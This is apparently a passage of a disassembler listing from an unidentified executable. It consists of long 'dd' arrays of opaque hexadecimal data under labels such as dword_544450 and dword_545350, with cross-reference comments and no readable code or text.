		dd 0DBA5ED7Ah, 0FFFCD8F4h, 0A433F900h, 4DF556BDh, 0C4DAC800h
		dd 37EEC16Dh, 0A1ACA408h, 44324F2Eh, 0FEDBF101h, 0F06D6CE5h
		dd 0DD28103Ah, 0E086ED26h, 5A37D5Ch, 6A5323CBh,	887CA890h
		dd 7EBB0073h, 962160EFh, 7600583Eh, 0E53BE4CFh,	0F646B60Fh
		dd 6C1558A6h, 0E4AC26h,	97633FC7h, 0EB71BF24h, 1DB1F0A8h
		dd 0AEA1DB00h, 0B03DFA52h, 0C75B00F2h, 7429973h, 830F920Bh
		dd 0AAD5A0E0h, 1480A013h, 284103A4h, 88D61DE5h,	6D78C095h
		dd 4764AAFCh, 54064513h
		dd 79491820h, 670C00DAh, 725B4CAh, 0F72CB65Ah, 4408888h
		dd 14C59F6Ah, 7455DA26h, 37D0AE03h, 7F800948h, 0D10A2539h
		dd 0C0FDC3A1h, 6408C904h, 7C9759C0h, 7B0B061h, 8B6AE39Ah
		dd 0DB5C91B6h, 576180A8h, 0EC313541h, 391503B3h, 0CAB72E9Eh
		dd 177DE3A0h, 89EF290Ah, 0BF44D41Dh, 682044F1h,	90DB309Dh
		dd 9328C49h, 0B22819E2h, 0E339EECEh
dword_544450	dd 553E16E7h, 90DA270Bh, 0FCD8F040h, 0F9D300F6h, 8F95546Ah
					; DATA XREF: ___:off_43D3D4o
		dd 1E0F42EAh, 7E023A0h,	0A5F04528h, 32238BAh, 7741C635h
		dd 9EF2AC73h, 305926E0h, 3A561200h, 509DEA98h, 25C33FD3h
		dd 40470112h, 0EF3DDA10h, 553010D4h, 68E3C10Fh,	3C7039EBh
		dd 0DE383780h, 0C4273F02h, 2F13E700h, 84D9D706h, 0D041019Ch
		dd 9603451Bh, 0F8FC2008h, 0D51C878Ah, 6DE8FDC0h, 2DE00364h
		dd 6A68B57Ch, 312604B9h, 0F582CC34h, 39061D00h,	10D0EE80h
		dd 282AEE07h, 485328h, 85B15E5Fh, 96B63A69h, 92CAD000h
		dd 81AFEDABh, 36201B5h,	0FD95B274h, 0C06C5046h,	0C909CFC8h
		dd 9058737Ch, 0D22BD0h,	0E63D011Bh, 0F08E4560h,	0BD62C4F8h
		dd 40348821h, 0E40AB60Ch, 0DD8B3CD7h, 53199582h, 3C41DAA0h
		dd 2E9F103Fh, 637C2CECh, 12813DD6h, 0BC4292BDh,	0BC60D2DDh
		dd 0F2222584h, 6F680FA8h, 0BFA036A6h, 0CCEFE295h, 80429E3Eh
		dd 19839FDEh, 3909BAC4h, 4580FBA2h, 0B83DA6EBh,	0F5262BD6h
		dd 0EC44E07Bh, 0A39B0C8h, 2C6066D9h, 22EB12CBh,	94419AFCh
		dd 0E83DDC3Bh, 3147670Fh, 31D68BDDh, 801483A0h,	0B214B174h
		dd 95688675h, 4B939814h, 0D5406021h, 7BBFDEC0h,	6760018h
		dd 0C424CF2Dh, 0AEC3415Fh, 0CCB86A1Eh, 7B2C788Ch, 7E7FE12h
		dd 0BF96EA3Dh, 1C16738h, 0CC3ACFFAh, 911F9913h,	60EC6AC0h
		dd 81B7F908h, 6C820D86h, 9C6828BDh, 983AECE8h, 83260056h
		dd 2B10788Bh, 0DF5703AFh, 19ABB577h, 0E2EA5BA0h, 0ED407491h
		dd 0B8985160h, 0B0FB7402h, 0D3B70660h, 79FFFA95h, 71B94B30h
		dd 0BE9D57h, 0FB633A2Eh, 8EEF1F69h, 0F098C9h, 81A985B0h
		dd 31EE617Ah, 9F8DF211h, 0D8C06DF9h, 0B7765B54h, 1BDD03AAh
		dd 0D78FDF9Ah, 7F3657B9h, 0B4D56AC3h, 2C4B50B4h, 0FD4947h
		dd 0D2D1099Fh, 0E10013E6h, 56D5EBE2h, 4ABD1455h, 576C4462h
		dd 0F274D0FBh, 53006148h, 67EFCDAEh, 0E2DA8EE2h, 0B24205DFh
		dd 60B073h, 9728F580h, 14C945F7h, 0DBB06855h, 0FF290003h
		dd 201CC652h, 0FA0057BDh, 0B505EA77h, 0B04485C3h, 6E957808h
		dd 7E2F8156h, 0C81DBC05h, 16863D38h, 23A2B1h, 0FE7509A8h
		dd 9E635EFAh, 149B5D10h, 60564E08h, 0C1A43D01h,	813103AFh
		dd 0EF551F72h, 70429376h, 2ACA084h, 3AE1010Eh, 789DD40Fh
		dd 33214042h, 5D3DB0D3h, 288B0426h, 0A33E6828h,	0F9E9017Ah
		dd 0F34B6370h, 71685000h, 0BA2C141Fh, 0C22319C5h, 76128C6h
		dd 7A9DC381h, 0F0D93D80h, 64500EC2h, 4C0237A8h,	0D5483F08h
		dd 20594Ah, 2E077717h, 4500F53Bh, 7BD843A0h, 50611C13h
		dd 13A13C58h, 6BB057h, 0BC0F64ADh, 2FF27765h, 0DB396D74h
		dd 812C4C27h, 0A4307F2Eh, 0AD3A8441h, 108DDB11h, 2DE79Eh
		dd 5409C7Eh, 9B43F7C0h,	84DBBF00h, 0B5853687h, 0C48496CDh
		dd 0D8A8C950h, 0BF3FFE9Eh, 292500A2h, 0EFD3E0B9h, 271168Fh
		dd 7CBC2032h, 0C9094DF2h, 10587797h, 70EC68Ch, 0ABE7AE9Bh
		dd 0F083479Eh, 3972E2D6h, 42947B00h, 2347492Bh,	0ACDA4876h
		dd 3A3DBD80h, 620F7FE1h, 80205288h, 0D614AB23h,	0FEE40DC3h
		dd 20799409h, 1588F770h, 0F866E49Ah, 166F003Dh,	78450A71h
		dd 545CCFD0h, 80B04DDEh, 0C2F73633h, 0B6B3055Ch, 0EC4861D2h
		dd 805907EBh, 5F809E23h, 55305B8h, 7729952Bh, 17BC3121h
		dd 0C6B4801Dh, 0EE2E9C3Eh, 0CB3200DCh, 0BEB705D2h, 0A3054203h
		dd 5010E789h, 3126C4C8h, 5C963B6Eh, 423030A1h, 556F2909h
		dd 0BC9010DAh, 639B00F5h, 0FC251B72h, 0E80B267Bh, 926244DBh
		dd 398C80F0h, 7542D33Eh, 0FCE05445h, 6CB95895h,	891C2E80h
		dd 84987DC1h, 120BA500h, 6D4A511Dh, 77B8A65Fh, 4C330038h
		dd 0E30E2BCFh, 8601837Fh, 0E6FD4729h, 0E1DCE9B1h, 26CF24F0h
		dd 81D61078h, 57BF4198h, 95191D0h, 805D8AB5h, 0EE53A800h
		dd 0C5F82CCDh, 0E054AF24h, 0B19A2940h, 51B400CCh, 59E873F0h
		dd 981D3BD8h, 2009D9CAh, 1278688Bh, 4E736Eh, 1DF1C31Bh
		dd 0BA455CACh, 0F43E0115h, 0C032288h, 0ECFE5591h, 8F001399h
		dd 3546E795h, 35F32AEh,	656D848Dh, 0BDD133EBh, 6260C0DBh
		dd 8020644Eh, 0A3D838h,	3042305h, 8616669Fh, 0C56DD000h
		dd 1BE5DCF4h, 4025C20h,	0E2F8E400h, 38BB0BABh, 0E90083EAh
		dd 6CE51947h, 160E82Eh,	9192BC09h, 593DEEC8h, 1B82D8DCh
		dd 0F88952h, 5D403D13h,	28FA5547h, 0F644AB9h, 0B2A15F6Eh
		dd 32F842E0h, 23008C61h, 53761739h, 0CE7860h, 83929FCAh
		dd 934938C9h, 5500E3EEh, 0E97216C8h, 0AE2B47Ch,	0FCED6061h
		dd 943B002Ch, 0D43A14Fh, 0DAF92401h, 56B60574h,	0A912DBCFh
		dd 6FC03A8h, 0B88800D0h, 0E0DD8325h, 4B5AE194h,	18F45820h
		dd 0FD34078Fh, 106A2BE9h, 26B8CDFBh, 27810B00h,	0EC739A14h
		dd 468D2E15h, 0BBF501F4h, 0C8C43CFEh, 5523845h,	0FD7308E0h
		dd 0FA7C80EEh, 0DDEA704Ah, 2C7D5600h, 1E138AD8h, 73BC00C4h
		dd 616BAC38h, 0CA0958F3h, 10FDB580h, 66F7DCCh, 0FCD0E84Ah
		dd 0C40051F4h, 370646Bh, 0FA212609h, 0FBD60008h, 0E399433Dh
		dd 3E001FACh, 4991B092h, 4583F7D2h, 0B7067F3Ch,	1118BDBh
		dd 0D47F5528h, 0FB9572A1h, 889058FAh, 1C005FADh, 885C4B8h
		dd 1E19799Dh, 82EF1314h, 0F26FE932h, 9E000C72h,	86790A9Fh
		dd 74521C8h, 62DD28CFh,	0B8048Bh, 0B6A53D07h, 0BCE894h
		dd 10EA7199h, 0C225EBAAh, 0F5416501h, 0F7B1E84Dh, 0D4C5D0h
		dd 1FBE427Dh, 0CB5B7C5Eh, 4FD102Ch, 2AE18C40h, 859600ABh
		dd 8F40C2DEh, 490095B4h, 0F155A929h, 0B4DBF3F4h, 0F2C683A0h
		dd 3E88F952h, 0AE007606h, 6853CE6Eh, 71D4F1h, 9AFA7545h
		dd 0F53961C2h, 21919E01h, 374B49DAh, 2DDB8850h,	0E368131Eh
		dd 0AB0C0264h, 0CE40B95h, 7A23E90Eh, 9AA0A099h,	2E9894C0h
		dd 0F9E2207h, 21978202h, 2C298CE8h, 76E18078h, 7542D9h
		dd 94BD5360h, 3A7E2F21h, 0E45DCD0Fh, 9800F6B2h,	0C836BB2Dh
		dd 839D01B4h, 97592279h, 0E3707033h, 3FE633Ah, 48055B5Ch
		dd 0A4C5C420h, 3E38D461h, 914ACAF0h, 0C5950024h, 35E3DD6Dh
		dd 3414E02h, 80587BFBh,	57669D54h, 0FF6C00E1h, 0EB3951C8h
		dd 0A13A3B9Eh, 0B4E30080h, 9265F882h, 48021C4Dh, 28405C75h
		dd 0D85504E0h, 0C0452287h, 4B03AA30h, 0A43D9579h, 58A0DCD7h
		dd 26FC81E8h, 80073EF2h, 8D60415Ah, 919964C0h, 3A9EDEC1h
		dd 55933F42h, 0AABC4095h, 1C760809h, 3134F800h,	0E166FCFDh
		dd 33870078h, 213077B3h, 400617Bh, 5EC03F96h, 3C5C86EFh
		dd 91829580h, 145013ECh, 6C7590A1h, 0CF25C0EDh,	559BC00h
		dd 0D248C92h, 8365801h,	2795E82Eh, 210F420h, 1300A72Dh
		dd 9065EED8h, 25C73420h, 0C498FB11h, 1F549C5Ch,	0F100211Ch
		dd 2C422763h, 7EA307h, 95F8C415h, 53294CB1h, 0C1CDA24h
		dd 7D0FD880h, 23FA864h,	13DF1D06h, 8527ADBh, 2A97C800h
		dd 4114BFD2h, 0FAB91225h, 1D5C00C7h, 0EED081D1h, 3F38E48Ah
		dd 93802EFDh, 63302838h, 0E3010308h, 0B3462056h, 886065E7h
		dd 92F588F4h, 51717D62h, 0C3EC80E8h, 34148449h,	8CE92A08h
		dd 21000DA0h, 0EC4CF111h, 37AAE69h, 4124DC82h, 0BC803CAFh
		dd 0B801CC83h, 0FB168837h, 38689709h, 9AB09580h, 5C14DB8Bh
		dd 0CA0AAB4h, 78E267FAh, 0A0D51774h, 432C309Eh,	90BE56B5h
		dd 3DD9D3E0h, 0FA4F585Ah, 284DAC40h, 3F6499F5h,	404FFAFBh
		dd 0FD2C7094h, 0D80068ABh
		dd 18D3AA9Ch, 99316DCh,	8C23AEEBh, 0FF9574E0h, 0FB614408h
		dd 43FA8A80h, 0CB8440F4h, 9C9157D3h, 1C59D400h,	24AB056Ah
		dd 0D0A6EAh, 0EB27800Ah, 1F16FF2Ah, 2042A2ACh, 61A92D81h
		dd 6BCCE31Ch, 55C312A7h, 0AB184012h, 3B851104h,	4962DC09h
		dd 0F26860FEh, 54D0288Ch, 28E51D64h, 0F13C05Fh,	518BDC46h
		dd 0E843C81Eh, 4A1022C0h, 7D253504h, 800C9C63h,	61AA30AEh
		dd 771D3D9Bh, 7F0039F2h, 458E44D1h, 18EF448Bh, 27AF0600h
		dd 2E83B646h, 7E5307A4h, 0E041FC65h, 548AE7D5h,	90420316h
		dd 481C88h, 47389223h, 8B962EF9h, 0BDC0254h, 37003C74h
		dd 0C254D43h, 3B069F86h, 0BB172431h, 98A890EBh,	6400F5F9h
		dd 9A6C2776h, 13348D8h,	7829395Fh, 6013DBA8h, 2602D9C8h
		dd 0F56005EBh, 8360D994h, 45DA65B4h, 0A2005173h, 678049EDh
		dd 0D0274h, 544FE936h, 0A8DEEBBAh, 0C8A57028h, 4C77C305h
		dd 68B4B745h, 0F94306h,	172EB687h, 0F6F0B95Eh, 0A7360099h
		dd 6097F5FAh, 0B805F944h, 621A0749h, 180AF4E0h,	41E7FD1Eh
		dd 1800BC42h, 11C110CDh, 192A426h, 0C7C4ACF3h, 203396F4h
		dd 0A5E765Ch, 8480F425h, 2D3FF26Ah, 0B4903B45h,	0E1DE2989h
		dd 25E6C580h, 74B811EEh, 349F0057h, 5DC754Bh, 7D02691Ch
		dd 0F7B5AD02h, 98A87A9Ah, 3BB9444Ch, 0A6EECB04h, 7C80B7F3h
		dd 0B06708B6h, 83174424h, 1D7CBA00h, 87DAA48Eh,	18D748FCh
		dd 605424h, 0CD11CB7Dh,	0E93A45F7h, 0E81538DAh,	13835469h
		dd 0F8FD8A99h, 7C74D47h, 69C6FA35h, 283A8080h, 2A1CEEC8h
		dd 70D9F6E1h, 0EED3AB58h, 9E32EC70h, 8A6D40CCh,	3B0060E2h
		dd 67DE20CDh, 3BEE996h,	3D88B7F0h, 1CD0535Fh, 4D017C8Fh
		dd 453285DAh, 0E0212ECEh, 0D33B5469h, 0CC686130h, 0FB2D9142h
		dd 0BB68A14Fh, 40E457E1h, 2C5528B3h, 68B4C0h, 150B0797h
		dd 60FAD4EAh, 85D9FB01h, 5717326Fh, 0BB0ECC22h,	15A0D312h
		dd 0F752A03Ah, 0A255900h, 0C540CA73h, 652A00BBh, 0B56A16B4h
		dd 0D248839Ch, 62C300CAh, 0BF901CE3h, 630A0003h, 7B2B482Ah
		dd 17752DF1h, 9DF3E116h, 3EEE9004h, 57829CACh, 694209F9h
		dd 83079444h, 30E853E9h, 97CEEC00h, 820A0A6Fh, 81A4E67Ah
		dd 0FD2AEF3Eh, 741183D5h, 0C77E5D30h, 0E5133420h, 0EAB00098h
		dd 0A80E1D44h, 14E07E7h, 6D308C27h, 346B1Bh, 8C0CD61Ch
		dd 0AFCFFAE2h, 0FB4E3Bh, 979C3A56h, 32641F6h, 0EF9B4AA1h
		dd 410209FCh, 0DD4372Ch, 20AC8E0Ch, 0BB3F49B1h,	0DF7400FCh
		dd 0B4707980h, 0C8131781h, 2CD04ADEh, 2A18442h,	0E3A77292h
		dd 68719E30h, 1669D801h, 40707A5Ah, 80ACB120h, 65FED6Dh
		dd 2DFCF449h, 0F5523Ah,	33726AC8h
		db 0EEh, 0CFh
word_544F42	dw 0FAABh		; DATA XREF: ___:off_435E10o
		dd 2ED7489Ah, 0E4104A25h, 740084D1h, 4233BBD8h,	2616525h
		dd 0AEF8858Fh, 14E02612h, 0B34EEEC4h, 10DB6049h, 98F529E0h
		dd 6F340FE5h, 86E04428h, 57F86C52h, 0D7330A0h, 55A7E000h
		dd 3D7AC505h, 0ECB10036h, 631D8710h, 0C1164298h, 0B889279Ch
		dd 7CAC6E4h, 0AADAABC9h, 0D3F64022h, 0F81D79E8h, 0C9281175h
		dd 2736148h, 8057A20h, 7224E698h, 28AD00D7h, 998F9FC5h
		dd 0B8B08858h, 0A26B750Eh, 2712C12Bh, 6C72EBA4h, 0F2509D01h
		dd 0D22ACEC5h, 6B00407Ah, 0B436887Ch, 74EFF74Ch, 4DA800D0h
		dd 0A0DA9B5Dh, 0A402FD03h, 9ECCCF62h, 0BE0C22Bh, 3A530498h
		dd 909A54A4h, 8420F760h, 95EA1764h, 0ACAC8CBCh,	1641031Eh
		dd 0E5F638C0h, 67CF49h,	6F800C4Eh, 2A394279h, 5BCAFE01h
		dd 5DCC0693h, 0F31C1CCh, 0ED6F62EBh, 0E7787CA0h, 0CD01EF7Fh
		dd 2B4BA1B5h, 4880D5D2h, 0A76CAEFAh, 0F000769Ah, 0F6178BC8h
		dd 32FBEEh, 670B2E94h, 4F75B104h, 0CF306D60h, 15AF661h
		dd 2FCDCC3Dh, 0C8069140h, 0D1005F05h, 16DA979Fh, 3C98BBh
		dd 64415C76h, 403A60E7h, 0C4404B60h, 0C38B29h, 7A7B1D38h
		dd 0D944B9C8h, 87B69000h, 0F6BA9DBEh, 0E4ED1579h, 5001CEFh
		dd 0DF81DB92h, 0D10F3128h, 5C06C2h, 0F756BC1Fh,	6860029Dh
		dd 0F2E4C720h, 0AF1594A0h, 7700D2CEh, 75C1165Ch, 0CE48173Ah
		dd 0BF8E50h, 0A556B08h,	8400E5E3h, 0D51DED83h, 795BA1h
		dd 0FAE85AB6h, 193C4135h, 59E5CB30h, 3DC7A143h,	1A05632Eh
		dd 4388D2FEh, 6DA29A8h,	0AF6B9388h, 30CF5A3Dh, 0E3677078h
		dd 0DB41C3F4h, 2AC0AD40h, 0D2C5841h, 2800CF42h,	2EFA7506h
		dd 0A0C2F722h, 3A9FB464h, 6F860F63h, 5480E219h,	0D4BBB049h
		dd 153179C7h, 0CA044140h, 6C9503C0h, 0DBD28703h, 0F91A2100h
		dd 0FFC3AA58h, 0BDE464h, 9FDF071Fh, 54DD082Ah, 13CF0B00h
		dd 393DFAEAh, 2CF6017Fh, 87C76A5Ah, 0D0704068h,	0D1C34F98h
		dd 0F831632Bh, 18846DF4h, 0B14CCD5Ch, 31C0D1BBh, 0B076BAF2h
		dd 2DEF0026h, 11A56415h, 2B008F7Bh, 1A356ED7h, 1F1F7122h
		dd 212E1Ch, 535CB090h, 3DFA289Ch, 0C555E400h, 3A1706AAh
		dd 0C48230CFh, 99632881h, 0C0157EEh, 976E0721h,	0F0500FD7h
		dd 1F1CA333h, 5B88BD4h,	0C0855998h, 0E419C7C0h,	4990D018h
		dd 15CBE49h, 45762D7Fh,	824D629Bh, 72D73B19h, 1FB58E2h
		dd 0EE242EFFh, 84DBE50Ah, 5F642AE9h, 421E00FAh,	0E7F9917Eh
		dd 52334501h, 54F4E077h, 98059C22h, 40C9DD5Ah, 0D3C56C8Ch
		dd 1FF8323Eh, 76009EEAh, 3978D4CBh, 304A2B66h, 90898662h
		dd 0E3F3C59h, 9599860Bh, 8173E5h, 98B2129Bh, 6FBBC74h
		dd 23008272h, 321958C1h, 0FECC2BF9h, 0C4713F02h, 0E05B5F3Eh
		dd 4FE837EFh, 0B69FBC0Eh, 51382DE5h, 0FF4320h, 0AAD97455h
		dd 0A45061FBh, 96F6F902h, 41BBD158h, 98402C6Dh,	60753465h
		dd 0DACFD155h, 9900712Eh, 329B14EFh, 2A0CFE61h,	0C81829h
		dd 0D0C4A083h, 11F0DFCEh, 0F214AA00h, 752CCC9Fh, 29B9F34Ch
		dd 552E502h, 0C040EB77h, 5C093198h, 8B4B04h, 0CBCE1FBCh
		dd 0CD191967h, 22BBB9F1h, 14750450h, 6D819A3Dh,	1CC0F8ECh
		dd 0B8C50320h, 0EDE62CC9h, 87EF607Eh, 238722B0h, 49EF86h
		dd 0E0477189h, 44BC6A19h, 165AD702h, 60157FC6h,	84628A0h
		dd 0DD728558h, 0A05C3A89h, 4C31F250h, 0A3E502AEh, 0AADEA28h
		dd 5274FF80h, 0CD711893h, 0D7CEAB00h, 5CB2BA71h, 12899CAh
		dd 510B7821h, 2A0839Bh,	0C8EC7398h, 4A8BB18h, 15A2713Ch
		dd 0F708907Fh, 8200F629h, 72DE57CEh, 2FDB4CCh, 0BE93DFDDh
		dd 0E890E441h, 0D800AEEFh, 1D754FC3h, 0FE55123Eh, 522B3928h
		dd 1BF971Ch, 0DA09B4E6h, 0E0C9815Bh, 2B755D0Ah
dword_545350	dd 73ACC20h, 0AFCBB6F6h, 59F7065Ch, 0FCA408FEh,	4333B51Fh
					; DATA XREF: ___:off_43D394o
		dd 0A185E70Dh, 0C08B7ED0h, 37ACD021h, 5C28970Ch, 4102781Fh
		dd 0F417B723h, 0F13C8008h, 0A23B1Bh, 147D8D56h,	0D0EA0325h
		dd 0E37C9950h, 8141C060h, 7D4AA305h, 4CC4000Ah,	6A335BD3h
		dd 4F04A819h, 0B4CF09C0h, 0C2EE488h, 846F2343h,	52EA7C11h
		dd 0D2CA8500h, 210EC48Dh, 23D0041h, 0B7EE0F0Ah,	0AE3A795Ch
		dd 6A037C64h, 0A99FDE1Bh, 0C316D83Bh, 91A728B8h, 0F945E0h
		dd 424A028Eh, 7B6F6A18h, 0B9D769h, 0F36106A8h, 64F9030Eh
		dd 13B3C000h, 83969B32h, 15314C71h, 0FDABD30Ah,	0CC3700B8h
		dd 0EFA22D87h, 1498CB24h, 16E8A23Ch, 12AD7875h,	90C832D7h
		dd 16884312h, 20BB70CAh, 9939F8F0h, 0CDA0AE00h,	35BCCEC6h
		dd 0A17F00D7h, 0ED4719C4h, 0C985198h, 7112D4F4h, 0C4410329h
		dd 810D4AE2h, 3B5BBEFCh, 5884D9F7h, 0C8E0B58Dh,	0AE005A80h
		dd 0DA3705B2h, 9F85EDFDh, 58122380h, 0B0E2232h,	0E050DCB8h
		dd 0F8CF8079h, 0BD1309B2h, 3C84A142h, 550356F1h, 0F08B817Bh
		dd 3BECFC93h, 4081F5B3h, 315FE730h, 0BB29FCF2h,	0D9D9F760h
		dd 2656AAFh, 63EA7A4h, 0E86482D0h, 8137CB00h, 410CC21Bh
		dd 0E3C60014h, 8D15E97Bh, 21020170h, 854F535Ah,	80E4457Dh
		dd 31FB43E9h, 3E000221h, 0D703D77h, 0B0A2A2Dh, 0E4CCA069h
		dd 824C490h, 0FC66530Eh, 2018A24Fh, 0EE5E0Bh, 490C917Ah
		dd 0A238BF07h, 0B43C12F4h, 1B802800h, 0A9EDBDh,	0ACCF2B68h
		dd 193B7132h, 0AFD01709h, 56201062h, 11DF3D90h,	700BCB8h
		dd 315332E4h, 27F63F81h, 0CE651D04h, 80CC2DFFh,	6B3D022Bh
		dd 0B3A9044Bh, 0F2C50CA0h, 3E2685F1h, 7830AC6Ch, 0F6B2E20Eh
		dd 79B42614h, 56CB6030h, 9F035D2Bh, 0C5E33722h,	0E54A8073h
		dd 0DE7F031Ch, 0C96B40B9h, 23AAD000h, 8D30639Dh, 82163D90h
		dd 2C5CB97Dh, 1A190B20h, 0E8419C9Ah, 9F6F705Eh,	0A5665D09h
		dd 0AC8C8023h, 2E4EF3DFh, 40D02AD7h, 454334AAh,	0C69EA100h
		dd 0E610790Ch, 0FAD00282h, 40CAEE0Eh, 232CA261h, 0A5707A0Ch
		dd 0A9D38D06h, 2C707274h, 5935750h, 88567530h, 0E8BB5C34h
		dd 826F3905h, 29DC8040h, 0E32C39Ah, 5E6DD505h, 853E2880h
		dd 0BE04372Dh, 91D087CBh, 8C930C8h, 4B5D3ABFh, 13CA3400h
		dd 8F9105h, 697E7BB4h, 150A990Ch, 65FB30Bh, 9840827Fh
		dd 0BBA12177h, 0DC1A462h, 3CAEE700h, 5D8515h, 7280ED8Eh
		dd 0E573ABACh, 10C9F626h, 0C061C0Eh, 0E625C1FEh, 4F7E01EDh
		dd 5B856A53h, 545180D2h, 3437C881h, 9C1A262Bh, 465E05C8h
		dd 0A3B420DAh, 500F056h, 42063FEh, 7C0DD99h, 3F33B867h
		dd 0BB9C7134h, 0F9519F8Dh, 0F6FD8C8Fh, 54F602AAh, 0ECA0B64Dh
		dd 0D1CA2D5Ah, 0D04C7006h, 2E14EEDh, 8EFE28CBh,	0B4466B97h
		dd 3D07BC76h, 7CBFC4C1h, 61C720F0h, 0BD10065h, 17BE3630h
		dd 5C06B83Fh, 343AB516h, 248E00B1h, 6C9AFF56h, 0CD00ADC3h
		dd 2BCB2587h, 98535C28h, 5065F014h, 2513D870h, 0BC20E51Dh
		dd 317288F5h, 68970200h, 291AF151h, 8B0A03CEh, 63ECB735h
		dd 0B62A15D0h, 7545F098h, 990FB472h, 0BD401BA1h, 142036B0h
		dd 0B0D85F2Eh, 61784400h, 0F2FCF0Bh, 350EC263h,	52B5C880h
		dd 0B8A477F1h, 8C80622Ah, 0D885A514h, 18251D8Eh, 4256C4C0h
		dd 188E2A98h, 2987DBD0h, 0CC607785h, 0BEDAAF81h, 20504A75h
		dd 0B242352Ch, 451C6E00h, 0D30B5941h, 2D2F2CE5h, 0DFAC1ECCh
		dd 0CDF14315h, 0CCF85DB3h, 0EEC02CC8h, 9A88187Ah, 0D8B174h
		dd 4019514Fh, 7C606FC8h, 0FF385981h, 2CC33E27h,	0ED8B5800h
		dd 542BC193h, 0D54E2605h, 6C409177h, 30ABFBF7h,	0B3C001Ch
		dd 7CC6AA6Ah, 0D40B9CF3h, 90475C19h, 0C3DABBB8h, 0F2A06379h
		dd 0BCD3B490h, 5C9A2504h, 8CCA71Eh, 6197007Dh, 18DD4775h
		dd 0F300E0FBh, 0FD3CB86Ah, 0E860993Ah, 0FAE80045h, 1CCE1844h
		dd 241843B7h, 93998362h, 0B6DD5CD6h, 3E8E3438h,	9E007539h
		dd 0AC1763B8h, 43BAF409h, 52905F2h, 0DA56B781h,	4B3A1832h
		dd 0E9A01A00h, 4D522CEBh, 22506109h, 0CCC4C8h, 96780690h
		dd 0BB4CB4A6h, 931B0400h, 0E563EFD7h, 64141FD3h, 10BDEDCh
		dd 0D0BC0565h, 11103983h, 0E207FEE6h, 90F12411h, 8B43A752h
		dd 0B535540Eh, 0BC249775h, 0F9C4E802h, 0A380401Dh, 7C1700EFh
		dd 130F608Fh, 3809ECC0h, 3A8EDADh, 0F0515251h, 5C2535FDh
		dd 41C2428h, 0A1EE40C8h, 12B284B1h, 530C1400h, 9C302851h
		dd 6887110Fh, 0DED013FAh, 301E7821h, 785D44D0h,	0C825007h
		dd 0B124F4BCh, 0ECE98060h, 476903FEh, 5E0C8660h, 5B62FFh
		dd 8B9B9A18h, 0B59C5309h, 69DFBB33h, 0F99FE05Eh, 21F300EDh
		dd 2EFFD1ADh, 0F401CF91h, 6F52589Ah, 0F6E9273Ah, 0B10EEC23h
		dd 40FE68E2h, 0E4E60C63h, 940B4C21h, 8B846A86h,	367407A4h
		dd 38AD3CF0h, 0F1593FC0h, 0ECAB9300h, 0CA020FE5h, 1F63B20Fh
		dd 647460EEh, 7A41B5h, 8D86F4C2h, 0F0CBF1BCh, 14D17100h
		dd 92FA1324h, 73CB1D2h,	0B09DA586h, 16C7F43Ch, 0CCDBD12Eh
		dd 400AB542h, 2817374Ch, 90D8F2B6h, 47F622E0h, 0D3800099h
		dd 0EDD6650Dh, 0EB1A0084h, 15C334EAh, 33127666h, 3088496Bh
		dd 0E41070Fh, 0E05BC247h, 957DD984h, 4BCBC600h,	7587ECB6h
		dd 78105852h, 192F1683h, 0E0A2C870h, 0B2990687h, 88E029F9h
		dd 1512D5CEh, 0D02CC906h, 258E009Dh, 528C36C7h,	4424085Bh
		dd 1200A090h, 0AA46329h, 9964A9B8h, 11CCF2D9h, 0DA9E00F8h
		dd 0D2EFD6D5h, 6112ECD9h, 0F000E6E3h, 0A7724FDFh, 14C318E2h
		dd 0C17ED981h, 0D06C57Bh, 9C5D10F4h, 0E3D20AE4h, 13A06A46h
		dd 2882068h, 127315B9h,	63009CE4h, 4AC9373Bh, 3A1B13EDh
		dd 0C4FBCF56h, 0A56F8559h, 28338Ch, 11DB5642h, 1146A71h
		dd 8F18C74Fh, 72C85C9Fh, 0A1420410h, 58A4E02Eh,	0BD16008Bh
		dd 8181D02h, 304D355h, 0DA0AF744h, 6CCC40F5h, 0AC560766h
		dd 91D104Bh, 0A3F8C080h, 2527834Fh, 0EE2490FFh,	0E912008Bh
		dd 0ED075AC9h, 0E7002C74h, 53314B0Eh, 770D75D0h, 0E4EA8041h
		dd 5E89EF74h, 646E20h, 1A7A6CBEh, 0D670B0DBh, 0B7F23D0Eh
		dd 0E041025Ch, 268040E2h, 0EA1B147Ah, 5D00942Eh, 4278F4FCh
		dd 0AAB8E252h, 98469A4Bh, 0F0610E75h, 802D4AC7h, 0C3697AADh
		dd 7C3A5096h, 19C208DFh, 0C429281Fh, 0A572ECh, 0C6490954h
		dd 5B87FBB0h, 0B5E28D1Dh, 1D8FC486h, 0C7A00580h, 8C6A4151h
		dd 660F5C34h, 22581097h, 0E057B321h, 2E76295h, 5CAD3DAh
		dd 1872D7E9h, 9E3CED00h, 2FCE8007h, 0F15C2520h,	97A94A0h
		dd 0FE67FAC3h, 0DCA06311h, 485514B8h, 170158ADh, 0CF5AC1CDh
		dd 6032B5h, 45E850BDh, 30A1216Eh, 0E919616Fh, 2900C7C2h
		dd 0ECDB2096h, 9481E0h,	32930410h, 13C5DCCCh, 80601548h
		dd 199747B0h, 0F707659h, 0AABDFDF1h, 52500940h,	2B3A839Eh
		dd 261C8120h, 0D2282C11h, 7000B422h, 0E5B7A510h, 0E6246EB0h
		dd 3D08DCF6h, 0A1263A24h, 0FFC801FCh, 0C13029B4h, 43D7E007h
		dd 8D552100h, 7A39A74Fh, 54B9166Eh, 7200D0CFh, 2800AE38h
		dd 92D09AEBh, 7F162601h, 0EDBB00B2h, 755C416Bh,	500B522Eh
		dd 10295A37h, 9AA4BCh, 0DE4983BFh, 9F095FAFh, 0F60746E8h
		dd 0C7F71D0Dh, 0CC1F4000h, 92A60217h, 0B7596FAh, 37003C6Ch
		dd 727E7141h, 3FC82579h, 5D3F5ED7h, 0DD45B000h,	7691CFF8h
		dd 2D02D491h, 5AE5F3A0h
		dd 371F0024h, 8C3F4A64h, 0B4930E9Bh, 987B3D00h,	9975553h
		dd 0BE16F632h, 845B88Fh, 48F00845h, 2407A4h, 0F2C6C940h
		dd 0BB3905AEh, 0C08C4BEBh, 6FFD1C7Dh, 25C4CB03h, 95D4506h
		dd 46D83548h, 914EA606h, 6294D18h, 117ED59h, 1EBB68CBh
		dd 0FCD75024h, 5504C220h, 0AD544166h, 82972C82h, 0D91998E0h
		dd 0AE400030h, 48852495h, 8A43348h, 805B3AB3h, 0BE09CA94h
		dd 5C0CBCC6h, 8B7BA53h,	40E74F20h, 2D1747F0h, 3C00D5F6h
		dd 987F32A0h, 552BE1h, 534F5DDBh, 261DBF91h, 297359B0h
